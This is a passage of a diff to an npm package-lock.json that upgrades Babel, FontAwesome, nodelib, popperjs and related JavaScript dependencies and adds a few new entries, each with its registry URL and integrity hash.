+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.12.13.tgz",
+ "integrity": "sha512-eKv/LmUJpMnu4npgfvs3LiHhJua5fo/CysENxa45YCQXZwKnGCQKAg87bvoqSW1fFT+HA32l03Qxsm8ouTY3ZQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
+ }
+ },
+ "@babel/plugin-transform-unicode-escapes": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.12.13.tgz",
+ "integrity": "sha512-0bHEkdwJ/sN/ikBHfSmOXPypN/beiGqjo+o4/5K+vxEFNPRPdImhviPakMKG4x96l85emoa0Z6cDflsdBusZbw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-unicode-regex": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.8.3.tgz",
- "integrity": "sha512-+ufgJjYdmWfSQ+6NS9VGUR2ns8cjJjYbrbi11mZBTaWm+Fui/ncTLFF28Ei1okavY+xkojGr1eJxNsWYeA5aZw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.12.13.tgz",
+ "integrity": "sha512-mDRzSNY7/zopwisPZ5kM9XKCfhchqIYwAKRERtEnhYscZB79VRekuRSoYbN0+KVe3y8+q1h6A4svXtP7N+UoCA==",
"dev": true,
"requires": {
- "@babel/helper-create-regexp-features-plugin": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-create-regexp-features-plugin": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/preset-env": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.9.6.tgz",
- "integrity": "sha512-0gQJ9RTzO0heXOhzftog+a/WyOuqMrAIugVYxMYf83gh1CQaQDjMtsOpqOwXyDL/5JcWsrCm8l4ju8QC97O7EQ==",
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.13.15.tgz",
+ "integrity": "sha512-D4JAPMXcxk69PKe81jRJ21/fP/uYdcTZ3hJDF5QX2HSI9bBxxYw/dumdR6dGumhjxlprHPE4XWoPaqzZUVy2MA==",
"dev": true,
"requires": {
- "@babel/compat-data": "^7.9.6",
- "@babel/helper-compilation-targets": "^7.9.6",
- "@babel/helper-module-imports": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-proposal-async-generator-functions": "^7.8.3",
- "@babel/plugin-proposal-dynamic-import": "^7.8.3",
- "@babel/plugin-proposal-json-strings": "^7.8.3",
- "@babel/plugin-proposal-nullish-coalescing-operator": "^7.8.3",
- "@babel/plugin-proposal-numeric-separator": "^7.8.3",
- "@babel/plugin-proposal-object-rest-spread": "^7.9.6",
- "@babel/plugin-proposal-optional-catch-binding": "^7.8.3",
- "@babel/plugin-proposal-optional-chaining": "^7.9.0",
- "@babel/plugin-proposal-unicode-property-regex": "^7.8.3",
- "@babel/plugin-syntax-async-generators": "^7.8.0",
- "@babel/plugin-syntax-dynamic-import": "^7.8.0",
- "@babel/plugin-syntax-json-strings": "^7.8.0",
- "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0",
- "@babel/plugin-syntax-numeric-separator": "^7.8.0",
- "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
- "@babel/plugin-syntax-optional-catch-binding": "^7.8.0",
- "@babel/plugin-syntax-optional-chaining": "^7.8.0",
- "@babel/plugin-syntax-top-level-await": "^7.8.3",
- "@babel/plugin-transform-arrow-functions": "^7.8.3",
- "@babel/plugin-transform-async-to-generator": "^7.8.3",
- "@babel/plugin-transform-block-scoped-functions": "^7.8.3",
- "@babel/plugin-transform-block-scoping": "^7.8.3",
- "@babel/plugin-transform-classes": "^7.9.5",
- "@babel/plugin-transform-computed-properties": "^7.8.3",
- "@babel/plugin-transform-destructuring": "^7.9.5",
- "@babel/plugin-transform-dotall-regex": "^7.8.3",
- "@babel/plugin-transform-duplicate-keys": "^7.8.3",
- "@babel/plugin-transform-exponentiation-operator": "^7.8.3",
- "@babel/plugin-transform-for-of": "^7.9.0",
- "@babel/plugin-transform-function-name": "^7.8.3",
- "@babel/plugin-transform-literals": "^7.8.3",
- "@babel/plugin-transform-member-expression-literals": "^7.8.3",
- "@babel/plugin-transform-modules-amd": "^7.9.6",
- "@babel/plugin-transform-modules-commonjs": "^7.9.6",
- "@babel/plugin-transform-modules-systemjs": "^7.9.6",
- "@babel/plugin-transform-modules-umd": "^7.9.0",
- "@babel/plugin-transform-named-capturing-groups-regex": "^7.8.3",
- "@babel/plugin-transform-new-target": "^7.8.3",
- "@babel/plugin-transform-object-super": "^7.8.3",
- "@babel/plugin-transform-parameters": "^7.9.5",
- "@babel/plugin-transform-property-literals": "^7.8.3",
- "@babel/plugin-transform-regenerator": "^7.8.7",
- "@babel/plugin-transform-reserved-words": "^7.8.3",
- "@babel/plugin-transform-shorthand-properties": "^7.8.3",
- "@babel/plugin-transform-spread": "^7.8.3",
- "@babel/plugin-transform-sticky-regex": "^7.8.3",
- "@babel/plugin-transform-template-literals": "^7.8.3",
- "@babel/plugin-transform-typeof-symbol": "^7.8.4",
- "@babel/plugin-transform-unicode-regex": "^7.8.3",
- "@babel/preset-modules": "^0.1.3",
- "@babel/types": "^7.9.6",
- "browserslist": "^4.11.1",
- "core-js-compat": "^3.6.2",
- "invariant": "^2.2.2",
- "levenary": "^1.1.1",
- "semver": "^5.5.0"
+ "@babel/compat-data": "^7.13.15",
+ "@babel/helper-compilation-targets": "^7.13.13",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-validator-option": "^7.12.17",
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.13.12",
+ "@babel/plugin-proposal-async-generator-functions": "^7.13.15",
+ "@babel/plugin-proposal-class-properties": "^7.13.0",
+ "@babel/plugin-proposal-dynamic-import": "^7.13.8",
+ "@babel/plugin-proposal-export-namespace-from": "^7.12.13",
+ "@babel/plugin-proposal-json-strings": "^7.13.8",
+ "@babel/plugin-proposal-logical-assignment-operators": "^7.13.8",
+ "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8",
+ "@babel/plugin-proposal-numeric-separator": "^7.12.13",
+ "@babel/plugin-proposal-object-rest-spread": "^7.13.8",
+ "@babel/plugin-proposal-optional-catch-binding": "^7.13.8",
+ "@babel/plugin-proposal-optional-chaining": "^7.13.12",
+ "@babel/plugin-proposal-private-methods": "^7.13.0",
+ "@babel/plugin-proposal-unicode-property-regex": "^7.12.13",
+ "@babel/plugin-syntax-async-generators": "^7.8.4",
+ "@babel/plugin-syntax-class-properties": "^7.12.13",
+ "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+ "@babel/plugin-syntax-export-namespace-from": "^7.8.3",
+ "@babel/plugin-syntax-json-strings": "^7.8.3",
+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
+ "@babel/plugin-syntax-numeric-separator": "^7.10.4",
+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3",
+ "@babel/plugin-syntax-top-level-await": "^7.12.13",
+ "@babel/plugin-transform-arrow-functions": "^7.13.0",
+ "@babel/plugin-transform-async-to-generator": "^7.13.0",
+ "@babel/plugin-transform-block-scoped-functions": "^7.12.13",
+ "@babel/plugin-transform-block-scoping": "^7.12.13",
+ "@babel/plugin-transform-classes": "^7.13.0",
+ "@babel/plugin-transform-computed-properties": "^7.13.0",
+ "@babel/plugin-transform-destructuring": "^7.13.0",
+ "@babel/plugin-transform-dotall-regex": "^7.12.13",
+ "@babel/plugin-transform-duplicate-keys": "^7.12.13",
+ "@babel/plugin-transform-exponentiation-operator": "^7.12.13",
+ "@babel/plugin-transform-for-of": "^7.13.0",
+ "@babel/plugin-transform-function-name": "^7.12.13",
+ "@babel/plugin-transform-literals": "^7.12.13",
+ "@babel/plugin-transform-member-expression-literals": "^7.12.13",
+ "@babel/plugin-transform-modules-amd": "^7.13.0",
+ "@babel/plugin-transform-modules-commonjs": "^7.13.8",
+ "@babel/plugin-transform-modules-systemjs": "^7.13.8",
+ "@babel/plugin-transform-modules-umd": "^7.13.0",
+ "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.13",
+ "@babel/plugin-transform-new-target": "^7.12.13",
+ "@babel/plugin-transform-object-super": "^7.12.13",
+ "@babel/plugin-transform-parameters": "^7.13.0",
+ "@babel/plugin-transform-property-literals": "^7.12.13",
+ "@babel/plugin-transform-regenerator": "^7.13.15",
+ "@babel/plugin-transform-reserved-words": "^7.12.13",
+ "@babel/plugin-transform-shorthand-properties": "^7.12.13",
+ "@babel/plugin-transform-spread": "^7.13.0",
+ "@babel/plugin-transform-sticky-regex": "^7.12.13",
+ "@babel/plugin-transform-template-literals": "^7.13.0",
+ "@babel/plugin-transform-typeof-symbol": "^7.12.13",
+ "@babel/plugin-transform-unicode-escapes": "^7.12.13",
+ "@babel/plugin-transform-unicode-regex": "^7.12.13",
+ "@babel/preset-modules": "^0.1.4",
+ "@babel/types": "^7.13.14",
+ "babel-plugin-polyfill-corejs2": "^0.2.0",
+ "babel-plugin-polyfill-corejs3": "^0.2.0",
+ "babel-plugin-polyfill-regenerator": "^0.2.0",
+ "core-js-compat": "^3.9.0",
+ "semver": "^6.3.0"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
+ }
}
},
"@babel/preset-modules": {
- "version": "0.1.3",
- "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz",
- "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==",
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.4.tgz",
+ "integrity": "sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==",
"dev": true,
"requires": {
"@babel/helper-plugin-utils": "^7.0.0",
@@ -1034,23 +2568,23 @@
}
},
"@babel/preset-react": {
- "version": "7.9.4",
- "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.9.4.tgz",
- "integrity": "sha512-AxylVB3FXeOTQXNXyiuAQJSvss62FEotbX2Pzx3K/7c+MKJMdSg6Ose6QYllkdCFA8EInCJVw7M/o5QbLuA4ZQ==",
+ "version": "7.13.13",
+ "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.13.13.tgz",
+ "integrity": "sha512-gx+tDLIE06sRjKJkVtpZ/t3mzCDOnPG+ggHZG9lffUbX8+wC739x20YQc9V35Do6ZAxaUc/HhVHIiOzz5MvDmA==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-transform-react-display-name": "^7.8.3",
- "@babel/plugin-transform-react-jsx": "^7.9.4",
- "@babel/plugin-transform-react-jsx-development": "^7.9.0",
- "@babel/plugin-transform-react-jsx-self": "^7.9.0",
- "@babel/plugin-transform-react-jsx-source": "^7.9.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-validator-option": "^7.12.17",
+ "@babel/plugin-transform-react-display-name": "^7.12.13",
+ "@babel/plugin-transform-react-jsx": "^7.13.12",
+ "@babel/plugin-transform-react-jsx-development": "^7.12.17",
+ "@babel/plugin-transform-react-pure-annotations": "^7.12.1"
}
},
"@babel/runtime": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.9.6.tgz",
- "integrity": "sha512-64AF1xY3OAkFHqOb9s4jpgk1Mm5vDZ4L3acHvAml+53nO1XbXLuDodsVpO4OIUsmemlUHMxNdYMNJmsvOwLrvQ==",
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz",
+ "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==",
"requires": {
"regenerator-runtime": "^0.13.4"
}
@@ -1071,16 +2605,6 @@
}
}
},
- "@babel/runtime-corejs3": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.9.6.tgz",
- "integrity": "sha512-6toWAfaALQjt3KMZQc6fABqZwUDDuWzz+cAfPhqyEnzxvdWOAkjwPNxgF8xlmo7OWLsSjaKjsskpKHRLaMArOA==",
- "dev": true,
- "requires": {
- "core-js-pure": "^3.0.0",
- "regenerator-runtime": "^0.13.4"
- }
- },
"@babel/template": {
"version": "7.8.6",
"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz",
@@ -1130,12 +2654,19 @@
"version": "7.9.6",
"resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz",
"integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==",
+ "dev": true,
"requires": {
"@babel/helper-validator-identifier": "^7.9.5",
"lodash": "^4.17.13",
"to-fast-properties": "^2.0.0"
}
},
+ "@deepcode/dcignore": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/@deepcode/dcignore/-/dcignore-1.0.2.tgz",
+ "integrity": "sha512-DPgxtHuJwBORpqRkPXzzOT+uoPRVJmaN7LR+pmeL6DQM90kj6G6GFUH1i/YpRH8NbML8ZGEDwB9f9u4UwD2pzg==",
+ "dev": true
+ },
"@egjs/hammerjs": {
"version": "2.0.17",
"resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz",
@@ -1156,9 +2687,9 @@
}
},
"@emotion/core": {
- "version": "10.0.34",
- "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.34.tgz",
- "integrity": "sha512-Kcs8WHZG1NgaVFQsSpgN07G0xpfPAKUclwKvUqKrYrJovezl9uTz++1M4JfXHrgFVEiJ5QO46hMo1ZDDfvY/tw==",
+ "version": "10.1.1",
+ "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.1.1.tgz",
+ "integrity": "sha512-ZMLG6qpXR8x031NXD8HJqugy/AZSkAuMxxqB46pmAR7ze47MhNJ56cdoX243QPZdGctrdfo+s08yZTiwaUcRKA==",
"requires": {
"@babel/runtime": "^7.5.5",
"@emotion/cache": "^10.0.27",
@@ -1226,74 +2757,185 @@
"integrity": "sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA=="
},
"@fortawesome/fontawesome-common-types": {
- "version": "0.2.30",
- "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.30.tgz",
- "integrity": "sha512-TsRwpTuKwFNiPhk1UfKgw7zNPeV5RhNp2Uw3pws+9gDAkPGKrtjR1y2lI3SYn7+YzyfuNknflpBA1LRKjt7hMg=="
+ "version": "0.2.35",
+ "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.35.tgz",
+ "integrity": "sha512-IHUfxSEDS9dDGqYwIW7wTN6tn/O8E0n5PcAHz9cAaBoZw6UpG20IG/YM3NNLaGPwPqgjBAFjIURzqoQs3rrtuw=="
},
"@fortawesome/fontawesome-svg-core": {
- "version": "1.2.30",
- "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.30.tgz",
- "integrity": "sha512-E3sAXATKCSVnT17HYmZjjbcmwihrNOCkoU7dVMlasrcwiJAHxSKeZ+4WN5O+ElgO/FaYgJmASl8p9N7/B/RttA==",
+ "version": "1.2.35",
+ "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.35.tgz",
+ "integrity": "sha512-uLEXifXIL7hnh2sNZQrIJWNol7cTVIzwI+4qcBIq9QWaZqUblm0IDrtSqbNg+3SQf8SMGHkiSigD++rHmCHjBg==",
"requires": {
- "@fortawesome/fontawesome-common-types": "^0.2.30"
+ "@fortawesome/fontawesome-common-types": "^0.2.35"
}
},
"@fortawesome/free-regular-svg-icons": {
- "version": "5.14.0",
- "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.14.0.tgz",
- "integrity": "sha512-6LCFvjGSMPoUQbn3NVlgiG4CY5iIY8fOm+to/D6QS/GvdqhDt+xZklQeERdCvVRbnFa1ITc1rJHPRXqkX5wztQ==",
+ "version": "5.15.3",
+ "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.3.tgz",
+ "integrity": "sha512-q4/p8Xehy9qiVTdDWHL4Z+o5PCLRChePGZRTXkl+/Z7erDVL8VcZUuqzJjs6gUz6czss4VIPBRdCz6wP37/zMQ==",
"requires": {
- "@fortawesome/fontawesome-common-types": "^0.2.30"
+ "@fortawesome/fontawesome-common-types": "^0.2.35"
}
},
"@fortawesome/free-solid-svg-icons": {
- "version": "5.14.0",
- "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.14.0.tgz",
- "integrity": "sha512-M933RDM8cecaKMWDSk3FRYdnzWGW7kBBlGNGfvqLVwcwhUPNj9gcw+xZMrqBdRqxnSXdl3zWzTCNNGEtFUq67Q==",
+ "version": "5.15.3",
+ "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.3.tgz",
+ "integrity": "sha512-XPeeu1IlGYqz4VWGRAT5ukNMd4VHUEEJ7ysZ7pSSgaEtNvSo+FLurybGJVmiqkQdK50OkSja2bfZXOeyMGRD8Q==",
"requires": {
- "@fortawesome/fontawesome-common-types": "^0.2.30"
+ "@fortawesome/fontawesome-common-types": "^0.2.35"
}
},
"@fortawesome/react-fontawesome": {
- "version": "0.1.11",
- "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.11.tgz",
- "integrity": "sha512-sClfojasRifQKI0OPqTy8Ln8iIhnxR/Pv/hukBhWnBz9kQRmqi6JSH3nghlhAY7SUeIIM7B5/D2G8WjX0iepVg==",
+ "version": "0.1.14",
+ "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.14.tgz",
+ "integrity": "sha512-4wqNb0gRLVaBm/h+lGe8UfPPivcbuJ6ecI4hIgW0LjI7kzpYB9FkN0L9apbVzg+lsBdcTf0AlBtODjcSX5mmKA==",
"requires": {
"prop-types": "^15.7.2"
}
},
+ "@jest/types": {
+ "version": "26.6.2",
+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz",
+ "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==",
+ "dev": true,
+ "requires": {
+ "@types/istanbul-lib-coverage": "^2.0.0",
+ "@types/istanbul-reports": "^3.0.0",
+ "@types/node": "*",
+ "@types/yargs": "^15.0.0",
+ "chalk": "^4.0.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ }
+ }
+ },
"@kunukn/react-collapse": {
"version": "1.2.7",
"resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz",
"integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ=="
},
- "@nodelib/fs.scandir": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.3.tgz",
- "integrity": "sha512-eGmwYQn3gxo4r7jdQnkrrN6bY478C3P+a/y72IJukF8LjB6ZHeB3c+Ehacj3sYeSmUXGlnA67/PmbM9CVwL7Dw==",
+ "@nicolo-ribaudo/chokidar-2": {
+ "version": "2.1.8-no-fsevents",
+ "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.tgz",
+ "integrity": "sha512-+nb9vWloHNNMFHjGofEam3wopE3m1yuambrrd/fnPc+lFOMB9ROTqQlche9ByFWNkdNqfSgR/kkQtQ8DzEWt2w==",
+ "dev": true,
+ "optional": true,
"requires": {
- "@nodelib/fs.stat": "2.0.3",
+ "anymatch": "^2.0.0",
+ "async-each": "^1.0.1",
+ "braces": "^2.3.2",
+ "glob-parent": "^3.1.0",
+ "inherits": "^2.0.3",
+ "is-binary-path": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "normalize-path": "^3.0.0",
+ "path-is-absolute": "^1.0.0",
+ "readdirp": "^2.2.1",
+ "upath": "^1.1.1"
+ }
+ },
+ "@nodelib/fs.scandir": {
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz",
+ "integrity": "sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA==",
+ "dev": true,
+ "requires": {
+ "@nodelib/fs.stat": "2.0.4",
"run-parallel": "^1.1.9"
}
},
"@nodelib/fs.stat": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.3.tgz",
- "integrity": "sha512-bQBFruR2TAwoevBEd/NWMoAAtNGzTRgdrqnYCc7dhzfoNvqPzLyqlEQnzZ3kVnNrSp25iyxE00/3h2fqGAGArA=="
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz",
+ "integrity": "sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q==",
+ "dev": true
},
"@nodelib/fs.walk": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.4.tgz",
- "integrity": "sha512-1V9XOY4rDW0rehzbrcqAmHnz8e7SKvX27gh8Gt2WgB0+pdzdiLV83p72kZPU+jvMbS1qU5mauP2iOvO8rhmurQ==",
+ "version": "1.2.6",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz",
+ "integrity": "sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow==",
+ "dev": true,
"requires": {
- "@nodelib/fs.scandir": "2.1.3",
+ "@nodelib/fs.scandir": "2.1.4",
"fastq": "^1.6.0"
}
},
+ "@octetstream/promisify": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/@octetstream/promisify/-/promisify-2.0.2.tgz",
+ "integrity": "sha512-7XHoRB61hxsz8lBQrjC1tq/3OEIgpvGWg6DKAdwi7WRzruwkmsdwmOoUXbU4Dtd4RSOMDwed0SkP3y8UlMt1Bg==",
+ "dev": true
+ },
+ "@open-policy-agent/opa-wasm": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/@open-policy-agent/opa-wasm/-/opa-wasm-1.2.0.tgz",
+ "integrity": "sha512-CtUBTnzvDrT0NASa8IuGQTxFGgt2vxbLnMYuTA+uDFxOcA4uK4mGFgrhHJtxUZnWHiwemOvKKSY3BMCo7qiAsQ==",
+ "dev": true,
+ "requires": {
+ "sprintf-js": "^1.1.2",
+ "utf8": "^3.0.0"
+ },
+ "dependencies": {
+ "sprintf-js": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz",
+ "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==",
+ "dev": true
+ }
+ }
+ },
"@popperjs/core": {
- "version": "2.4.4",
- "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.4.4.tgz",
- "integrity": "sha512-1oO6+dN5kdIA3sKPZhRGJTfGVP4SWV6KqlMOwry4J3HfyD68sl/3KmG7DeYUzvN+RbhXDnv/D8vNNB8168tAMg=="
+ "version": "2.9.2",
+ "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.9.2.tgz",
+ "integrity": "sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q=="
},
"@restart/context": {
"version": "2.1.4",
@@ -1301,348 +2943,704 @@
"integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q=="
},
"@restart/hooks": {
- "version": "0.3.25",
- "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.25.tgz",
- "integrity": "sha512-m2v3N5pxTsIiSH74/sb1yW8D9RxkJidGW+5Mfwn/lHb2QzhZNlaU1su7abSyT9EGf0xS/0waLjrf7/XxQHUk7w==",
+ "version": "0.3.26",
+ "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.26.tgz",
